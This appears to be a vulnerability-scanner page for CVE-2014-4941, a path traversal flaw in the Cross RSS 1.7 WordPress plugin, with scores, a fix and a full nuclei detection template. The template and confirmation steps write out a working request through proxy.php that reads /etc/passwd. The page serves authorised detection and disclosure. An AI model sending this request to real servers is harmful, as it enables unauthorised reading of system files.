CVE-2014-4941· cross-rss plugin project / wp-cross-rss· CWE-22
Cross RSS 1.7 - Local File Inclusion
mediumseverity
5CVSS score
4.3%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it
Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.
Impact
Attackers can read arbitrary files on the server, potentially exposing sensitive information.
Fix
Update to the latest version of the plugin that addresses this vulnerability.
How to confirm it
Send: GET /
Positive when: contains(body,"/wp-content/plugins/cross-rss/") and status_code == 200
Send: GET /wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2014-4941 -u <target>
The full check
id: CVE-2014-4941
info:
name: Cross RSS 1.7 - Local File Inclusion
author: DhiyaneshDK
severity: medium
description: |
Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.
impact: |
Attackers can read arbitrary files on the server, potentially exposing sensitive information.
remediation: |
Update to the latest version of the plugin that addresses this vulnerability.
reference:
- https://wordpress.org/plugins/cross-rss/
- https://codevigilant.com/disclosure/wp-plugin-cross-rss-local-file-inclusion/
- https://nvd.nist.gov/vuln/detail/CVE-2014-4941
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2014-4941
cwe-id: CWE-22
epss-score: 0.04306
epss-percentile: 0.91229
cpe: cpe:2.3:a:cross-rss_plugin_project:wp-cross-rss:1.7:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: cross-rss_plugin_project
product: wp-cross-rss
framework: wordpress
tags: cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"/wp-content/plugins/cross-rss/")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://wordpress.org/plugins/cross-rss/
- https://codevigilant.com/disclosure/wp-plugin-cross-rss-local-file-inclusion/
- https://nvd.nist.gov/vuln/detail/CVE-2014-4941
Use this check only on systems you are authorised to test. Where the data comes from